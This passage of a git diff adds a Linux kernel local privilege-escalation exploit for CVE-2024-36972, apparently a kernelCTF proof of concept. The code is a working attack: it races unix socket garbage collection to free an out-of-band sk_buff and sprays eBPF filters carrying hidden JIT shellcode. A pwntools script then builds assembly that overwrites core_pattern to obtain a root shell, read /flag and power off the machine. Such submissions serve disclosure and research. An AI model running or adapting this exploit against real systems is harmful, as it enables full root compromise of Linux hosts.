+ childs[k] = fork(); + if (childs[k] == 0) + { + for (int i = 0; i < 0x100; i++) + { + timefds[i] = SYSCHK(dup(fd)); + } + for (int i = 0; i < 0xc0; i++) + { + epfds[i] = SYSCHK(epoll_create(0x1)); + } + for (int i = 0; i < 0xc0; i++) + { + for (int j = 0; j < 0x100; j++) + { + epoll_ctl_add(epfds[i], timefds[j], 0); + } + } + write(cfd[1], buf, 1); + raise(SIGSTOP); + } + read(cfd[0], buf, 1); + } +} + +void *race_unix_gc(void *x) +{ + struct itimerspec new = {.it_value.tv_nsec = 10000000}; + set_cpu(1); + while (1) + { + barrier(); + SYSCHK(timerfd_settime(tfd2, TFD_TIMER_CANCEL_ON_SET, &new, + NULL)); + usleep(1000); + + // trigger unix_gc + close(SYSCHK(socket(AF_UNIX, SOCK_STREAM, 0))); + + barrier(); + } +} + +int sc(void) +{ + int stopfd[2]; + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, stopfd)); + unsigned int prog_len = 0x900; + /* In current environment, the max instructions in a program is near 0x900 + And we test 0x900 instructions * 0x50 forks * 0x100 sockets * 4 = 180 MB is enough large to spray and worked reliably + */ + struct sock_filter table[] = { + {.code = BPF_LD + BPF_K, .k = 0xb3909090}, + {.code = BPF_RET + BPF_K, .k = SECCOMP_RET_ALLOW}}; + + /* 0xb3909090 is NOPsled shellclode to make exploitation more reliable +90 nop +90 nop +90 nop +b3 b8 mov bl, 0xb8 +*/ + for (int i = 0; i < prog_len; i++) + filter[i] = table[0]; + + filter[prog_len - 1] = table[1]; + int idx = prog_len - 2; + +#include "sc.h" + + struct sock_fprog prog = { + .len = prog_len, + .filter = filter, + }; + int fd[2]; + for (int k = 0; k < 0x50; k++) + { + if (fork() == 0) // use fork to bypass RLIMIT_NOFILE limit. + { + close(stopfd[1]); + for (int i = 0; i < 0x100; i++) + { + SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, fd)); + SYSCHK(setsockopt(fd[0], SOL_SOCKET, + SO_ATTACH_FILTER, &prog, + sizeof(prog))); + } + write(stopfd[0], buf, 1); + read(stopfd[0], buf, 1); + exit(0); + } + } + /* wait for all forks to finish spraying BPF code */ + read(stopfd[1], buf, 0x50); +} +int check_core() +{ + // Check if /proc/sys/kernel/core_pattern has been overwritten + char buf[0x100] = {}; + int core = open("/proc/sys/kernel/core_pattern", O_RDONLY); + read(core, buf, sizeof(buf)); + close(core); + return strncmp(buf, "|/proc/%P/fd/666", 0x10) == 0; +} +void crash(char *cmd) +{ + int memfd = memfd_create("", 0); + SYSCHK(sendfile(memfd, open("/proc/self/exe", 0), 0, 0xffffffff)); + dup2(memfd, 666); + close(memfd); + while (check_core() == 0) + sleep(1); + puts("Root shell !!"); + /* Trigger program crash and cause kernel to executes program from core_pattern which is our "root" binary */ + *(size_t *)0 = 0; +} + +int main(int argc, char **argv) +{ + + if (argc > 1) + { + // #define SYS_pidfd_getfd 438 + int pid = strtoull(argv[1], 0, 10); + int pfd = syscall(SYS_pidfd_open, pid, 0); + int stdinfd = syscall(SYS_pidfd_getfd, pfd, 0, 0); + int stdoutfd = syscall(SYS_pidfd_getfd, pfd, 1, 0); + int stderrfd = syscall(SYS_pidfd_getfd, pfd, 2, 0); + dup2(stdinfd, 0); + dup2(stdoutfd, 1); + dup2(stderrfd, 2); + /* Get flag and poweroff immediately to boost next round try in PR verification workflow*/ + system("cat /flag;echo o>/proc/sysrq-trigger"); + execlp("bash", "bash", NULL); + } + if (fork() == 0) // this process is used to trigger core_pattern exploit + { + set_cpu(1); + setsid(); + crash(""); + } + struct rlimit rlim = {.rlim_cur = 0xf000, .rlim_max = 0xf000}; + setrlimit(RLIMIT_NOFILE, &rlim); + + setvbuf(stdout, 0, 2, 0); + setvbuf(stderr, 0, 2, 0); + // Ignore SIGPIPE + signal(SIGPIPE, SIG_IGN); + pthread_barrier_init(&barr, NULL, 2); + char *core = + (void *)mmap((void *)0xa00000, 0x2000, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_FIXED | MAP_ANON, -1, 0); + strcpy(core, + "|/proc/%P/fd/666 %P"); // put payload string into known address which will used by ebpf shellcode + + sc(); // spray ebpf program. + tfd = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); + do_epoll_enqueue(tfd, 4); + tfd2 = SYSCHK(timerfd_create(CLOCK_MONOTONIC, 0)); + do_epoll_enqueue(tfd2, 8); + + int datafd[2]; + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, datafd)); + + size_t val = 0x400000; + SYSCHK(SYSCHK(setsockopt(datafd[1], SOL_SOCKET, SO_SNDBUF, &val, 4))); + SYSCHK(SYSCHK(setsockopt(datafd[0], SOL_SOCKET, SO_RCVBUF, &val, 4))); + + SYSCHK(SYSCHK(setsockopt(datafd[1], SOL_SOCKET, SO_RCVBUF, &val, 4))); + SYSCHK(SYSCHK(setsockopt(datafd[0], SOL_SOCKET, SO_SNDBUF, &val, 4))); + + for (int i = 0; i < 0x4000; i++) + { + msqid[i] = SYSCHK(msgget(IPC_PRIVATE, 0644 | IPC_CREAT)); + } + + msg.mtype = 1; + char *skb = (void *)&msg.mtext[-0x30]; + + // struct sk_buff { + // void (*destructor)(struct sk_buff *); /* 96 8 */ + // refcount_t users; /* 212 4 */ +#define OFFSET_SKB_DESTRUCTOR 96 +#define OFFSET_SKB_USERS 212 + *(size_t *)(skb + OFFSET_SKB_DESTRUCTOR) = 0xffffffffcc000000 - 0x800; + *(unsigned *)(skb + OFFSET_SKB_USERS) = 1; + + pthread_t tid; + pthread_create(&tid, 0, race_unix_gc, 0); + set_cpu(0); + count = 20000; + + while (1) + { + count += 1; + printf("\r%010d", count); + if (count > 1000000) + { + count = 20000; + } + struct itimerspec new = {.it_value.tv_nsec = count}; + int victim_fd[2]; + SYSCHK(socketpair(AF_UNIX, SOCK_STREAM, 0, victim_fd)); + + // Allocate some sk_buff before oob_skb + for (int i = 0; i < 0x200; i++) + SYSCHK(send(datafd[1], buf, 1, 0)); + + SYSCHK(send(victim_fd[1], buf, 1, MSG_OOB)); + + // Allocate some sk_buff after oob_skb + for (int i = 0; i < 0x200; i++) + SYSCHK(send(datafd[0], buf, 1, 0)); + + send_fd(victim_fd[1], victim_fd[0]); + close(victim_fd[0]); + + barrier(); + SYSCHK(timerfd_settime(tfd, TFD_TIMER_CANCEL_ON_SET, &new, + NULL)); + // race to call queue_oob + send(victim_fd[1], buf, 1, MSG_OOB); + + // free all skbs + for (int i = 0; i < 0x200; i++) + SYSCHK(recv(datafd[0], buf, 1, 0)); + + // free all skbs + for (int i = 0; i < 0x200; i++) + SYSCHK(recv(datafd[1], buf, 1, 0)); + + // cross-cache to reclaim oob_skb as msg_msg + for (int i = 0; i < 0x1000; i++) + SYSCHK(msgsnd(msqid[i], &msg, 0x100 - 0x30, 0)); + + barrier(); + + for (int i = 0; i < 0x1000; i++) + SYSCHK(msgrcv(msqid[i], &msg, 0x100 - 0x30, 1, 0)); + + close(victim_fd[1]); + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/sc.h b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/sc.h new file mode 100644 index 00000000..de81c301 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/sc.h @@ -0,0 +1,51 @@ +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c14e7c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c70b740}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90ff31}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf02948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c20b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cb2b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c6eb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c00b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909058}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d0ff}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c909050}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9030b2}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c10e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ca0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd08948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf22948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c7fb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c45b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c02b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cd78948}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cf20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ca0b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c43b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c7bb640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c08e6c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c01b640}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90f631}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3cc20148}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3ce2d348}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9020b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90320f}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c9082b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c18e1c1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c0b1}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90d231}; +filter[idx--] = (struct sock_filter){.code = BPF_LD+BPF_K, .k = 0x3c90c931}; diff --git a/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/sc.py b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/sc.py new file mode 100644 index 00000000..65c857b1 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-36972_lts_cos/exploit/lts-6.6.28/sc.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python3 + +from pwn import * +import struct + +entry_syscall = 0xffffffff82600080 +core_pattern = 0xffffffff83db4420 +copy_from_user = 0xffffffff8195c460 +msleep = 0xffffffff81271240 + +off1 = entry_syscall-core_pattern +off2 = core_pattern-copy_from_user +off3 = copy_from_user-msleep +ins = ["sub", "add"] + +context.arch = 'amd64' + +ASM=f""" +; do rdmsr(MSR_LSTAR) so EDX and EAX will contain address of entry_SYSCALL_64 +; ECX should be MSR_LSTAR ( 0xc0000082 ) +xor ecx, ecx +xor edx, edx +mov cl, 0xc0 +shl ecx, 24 +mov cl, 0x82 +rdmsr +; make rdx = entry_SYSCALL_64's address +xor ecx, ecx +mov cl, 32 +shl rdx, cl +add rdx, rax +; entry_SYSCALL_64 + 0x15a68e0 = core_pattern +; move core_pattern to rdi ( 1st arg ) +xor esi,esi +mov sil, {(abs(off1)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off1)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off1)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off1))&0xff} +{ins[off1<0]} rdx, rsi +mov rdi, rdx +; core_pattern - 0x1fe7cc0 = copy_from_user +; move copy_from_user to rax +xor esi,esi +mov sil, {(abs(off2)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off2)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off2)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off2))&0xff} +{ins[off2<0]} rdx, rsi +mov rax, rdx +; call copy_from_user(core_pattern, user_buf, 0x30); +; user_buf = 0xa00000 = "|/proc/%P/fd/666" +xor esi, esi +mov sil,0xa0 +shl esi,16 +xor edx,edx +mov dl,0x30 +push rax +call rax +pop rax +; copy_from_user - 0x63f6d0 = msleep +xor esi, esi +mov sil, {(abs(off3)>>24)&0xff} +shl esi, 8 +mov sil, {(abs(off3)>>16)&0xff} +shl esi, 8 +mov sil, {(abs(off3)>>8)&0xff} +shl esi, 8 +mov sil, {(abs(off3))&0xff} +{ins[off3<0]} rax, rsi +; move 0x7000000 to rdi ( 1st arg ) +xor edi,edi +mov dil,0x70 +shl edi,20 +call rax +""" +def toi(data): + assert len(data) == 4 + return struct.unpack('